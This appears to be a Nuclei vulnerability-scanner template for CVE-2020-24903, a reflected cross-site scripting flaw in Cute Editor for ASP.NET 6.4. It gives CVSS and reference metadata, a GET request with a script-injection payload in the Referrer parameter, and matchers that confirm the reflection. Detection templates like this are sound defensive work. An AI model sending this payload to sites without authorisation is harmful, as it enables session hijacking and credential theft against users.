id: CVE-2020-24903

info:
  name: Cute Editor for ASP.NET 6.4 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Cute Editor for ASP.NET 6.4 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of Cute Editor for ASP.NET or implement proper input validation to prevent XSS attacks.
  reference:
    - https://seclists.org/bugtraq/2016/Mar/104
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24903
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24903
    cwe-id: CWE-79
    epss-score: 0.00269
    epss-percentile: 0.67701
    cpe: cpe:2.3:a:cutesoft:cute_editor:6.4:*:*:*:*:asp.net:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cutesoft
    product: cute_editor
    framework: asp.net
    shodan-query:
      - http.component:"ASP.NET"
      - http.component:"asp.net"
  tags: cve,cve2020,cuteeditor,xss,seclists,cutesoft,asp.net

http:
  - method: GET
    path:
      - '{{BaseURL}}/CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS";><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script></p>"
          - "System.Web"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402200cbe37d5842ad551ed16fe739ce1d90565ced4256e31503365dc8923d31d679802206fc6519ec3846e47058d566ec3f793b8f12ca0850a28443a1e9e4d145624d985:922c64590222798bb761d5b6d8e72950